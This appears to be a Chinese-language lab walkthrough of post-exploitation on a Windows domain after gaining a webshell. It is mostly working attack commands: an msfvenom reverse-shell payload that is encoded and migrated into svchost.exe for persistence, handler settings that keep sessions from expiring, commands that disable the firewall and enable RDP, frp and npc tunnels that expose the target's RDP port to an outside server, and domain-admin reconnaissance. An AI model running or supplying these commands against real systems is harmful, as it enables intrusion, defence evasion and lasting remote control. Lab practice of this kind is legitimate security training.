、本文章主要那边界机器作为msf和cs学习练习用
参考链接
https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247484720&idx=1&sn=2772684974b506ee81f7e8def15a37ed&scene=21#wechat_redirect
拿到边界机器的webshell之后,上传Temp目录或者寻找网站upload文件夹尝试上传。
msfvenom所有参数
-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的 -l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all -n, –nopsled < length> 为payload预先指定一个NOP滑动长度 -f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表) -e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload -a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64 –platform < platform> 指定payload的目标平台 -s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小 -b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f'、'\x00'; -i, –iterations < count> 指定payload的编码次数 -c, –add-code < path> 指定一个附加的win32 shellcode文件 -x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中 -k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行 –payload-options 列举payload的标准选项 -o, –out < path> 指定创建好的payload的存放位置 -v, –var-name < name> 指定一个自定义的变量,以确定输出格式 –shellest 最小化生成payload -h, –help 查看帮助选项 –help-formats 查看msf支持的输出格式列表
防止假session
在实战中,经常会遇到假session或者刚连接就断开的情况,这里补充一些监听参数,防止假死与假session。
msf exploit(multi/handler) > set ExitOnSession false //可以在接收到seesion后继续监听端口,保持侦听。
防止session意外退出
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0 //默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0 msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 //默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭
handler后台持续监听
msf exploit(multi/handler) > exploit -j -z
使用exploit -j -z
可在后台持续监听,-j为后台任务,-z为持续监听,使用Jobs命令查看和管理后台任务。jobs -K
可结束所有任务
快捷的建立监听方式,在msf下面执行
msf5 > handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp
会直接在jobs里面生成监听队列
payload的可持续化
一般来说使用msfvenom生成的payload会单独开启一个进程,这种进程很容易被发现和关闭,在后期想做持久化后门
在生成payload时可直接使用如下命令,生成的payload会直接注入到指定进程中。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o shell.exe
生成的shell程序执行后会启动两个进程shell.exe
和svchost.exe
,关闭其中一个不会影响会话状态。
(1)PrependMigrate=true PrependMigrateProc=svchost.exe
使这个程序默认会迁移到svchost.exe进程,自己测试的时候不建议到这个进程而是其他的持久进程。
(2)使用-p指定使用的攻击载荷模块,使用-e指定使用x86/shikata_ga_nai编码器,使用-f选项告诉MSF编码器输出格式为exe,-o选项指定输出的文件名为payload.exe,保存在根目录下。
将生成的shell.exe传入Temp目录,然后在webshell管理工具里面执行。
攻击机监听
use exploit/multi/handler set PAYLOAD <Payload name> set LHOST 10.211.55.2 set LPORT 3333 set ExitOnSession false exploit -j -z
查看是否开启远程桌面服务
netstat -an | findstr "3389"
在webshell里面开启远程桌面命令
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
直接连接远程远程桌面,连接不上去,目标机器开启了防火墙
在msf里面使用命令关闭防火墙
netsh advfirewall set allprofiles state off
直接连接靶机
第二种思路,使用frp反弹3389端口到公网。
目标靶机上传frpc,frpc.ini配置文件如下配置
[common] server_addr = ip server_port = 7000 [mysql] type = tcp local_ip = 127.0.0.1 local_port = 3389 remote_port = 33891
公网监听frps,等待端口反弹
第三种思路,使用npc,上线nps
webshell上传npc
webshell执行命令上线
npc.exe -server=192.168.2.113:8024 -vkey=123321 -type=tcp
目标靶机成功上线
此时就可以通过建立socket连接通道结合proxychains或者proxifier做全局代理实现内网横向渗透。
下面就是杀入域控,先做一些基础的信息搜集,渗透测试的本质就是信息搜集
ipconfig /all 查询本机IP段,所在域等 net config Workstation 当前计算机名,全名,用户名,系统版本,工作站域,登陆域 net user 本机用户列表 net localgroup administrators 本机管理员[通常含有域用户] net user /domain 查询域用户 net user 用户名 /domain 获取指定用户的账户信息 net user /domain b404 pass 修改域内用户密码,需要管理员权限 net group /domain 查询域里面的工作组 net group 组名 /domain 查询域中的某工作组 net group "domain admins" /domain 查询域管理员列表 net group "domain controllers" /domain 查看域控制器(如果有多台) net time /domain 判断主域,主域服务器都做时间服务器 ipconfig /all 查询本机IP段,所在域等
直接ping域服务器
可以得到域控的IP
192.168.52.138
net group /domain 查询域里面的工作组
Domain Admins :域管理员
Domain Computers:域内机器
Domain Controllers:域控制器
Domain Guests:域访客
Domain Users:域用户
Enterprise Admins:企业系统管理员
另外一些常用的查询命令
whoami systeminfo nslookup god.org # 解析域名IP地址 net config workstation #查询当前登陆域及登陆用户信息 net view /domain #查看域 net time /domain # 获取域服务器的时间
查询操作系统信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文操作系统 systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" # 中文操作系统 echo %PROCESSOR_ARCHITECTURE% # 查看系统系统结构
查看安装的软件以及版本、路径信息
wmic product get name,version # 使用wmic操作 powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,Version" #使用powershell进行操作
另外一些查询命令
wmic service list brief # 查询本机服务信息 tasklist #查询进程 wmic process list brief #使用wmic查询进程 wmic startup get command,caption #查看启动进程 schtasks /query /fo list /v # 查看计划任务 net statistics workstation # 查看主机开机时间 netstat -ano #查询端口列表 wmic qfe get caption,description,hotfixid,installedon #查询本机安装的补丁
查询机器内账号信息
net user #查看本机用户列表 net localgroup administrators # 获取本地管理员 query user || qwinsta # 获取在线用户 net session # 列出计算机所连接的客户端之间的会话 net share # 查看本机共享列表 wmic share get name,path,status #使用wmic 查询本机共享列表
关闭防火墙
netsh firewall set opmode disable # windows server 2003 之前 netsh advfirewall set allprofiles state off # windows server 2003 之后
开启3389
注册表打开: REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f #开启的话把0改为1 wmic开启3389: wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
探测域内存活主机
Ping命令探测内网主机 for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL=" 使用Ladon插件在CobaltStrike上查询存活主机 Ladon 192.168.52.0/24 OnlinePC
查找域控
nltest /domain_trusts #获取域信任信息 nltest /DCLIST:god #查看域控制器机器名 net group "domain admins" /domain #查询域管理员用户 net group "Enterprise admins" /domain # 查询管理员用户在
PS msfshell执行命令中文乱码
解决方案:将终端窗口的编码方式改为GBK编码